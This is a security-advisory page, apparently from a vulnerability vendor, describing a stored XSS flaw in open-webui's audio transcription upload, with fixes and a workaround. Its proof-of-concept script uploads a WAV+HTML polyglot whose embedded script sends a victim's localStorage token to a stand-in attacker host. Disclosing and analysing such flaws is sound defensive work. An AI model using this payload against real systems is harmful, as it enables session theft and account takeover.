GHSA-m8f9-9whg-f4xr
HIGHGHSA-m8f9-9whg-f4xr is a high-severity (CVSS 8.7) Cross-site Scripting (XSS) vulnerability in open-webui. O3 Security confirms whether GHSA-m8f9-9whg-f4xr is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-m8f9-9whg-f4xr.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-m8f9-9whg-f4xr plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.
Details
Verified on main @ 8dae237a (v0.9.2):
- backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No
allowlist, no cross-check against file.content_type. - backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension
and sets no Content-Disposition. - backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body.
- backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
- src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
- backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.
PoC
Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.
import struct, httpx
data = b'\x80' * 44100
wav = struct.pack('<4sI4s4sIHHIIHH4sI',
b'RIFF', 36 + len(data), b'WAVE',
b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,
b'data', len(data)) + data
payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'
r = httpx.post(
'https://VICTIM/api/v1/audio/transcriptions',
headers={'Authorization': f'Bearer {ATTACKER_JWT}'},
files={'file': ('pwn.html', payload, 'audio/wav')},
)
fn = r.json()['filename'] # '<uuid>.html'
#Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>
https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408
Impact
Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.
Affected: <= 0.9.2.
Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force
Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.
Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.9.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update open-webui to 0.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m8f9-9whg-f4xr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-m8f9-9whg-f4xr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-m8f9-9whg-f4xr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-m8f9-9whg-f4xr in your dependencies?
O3 detects GHSA-m8f9-9whg-f4xr across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.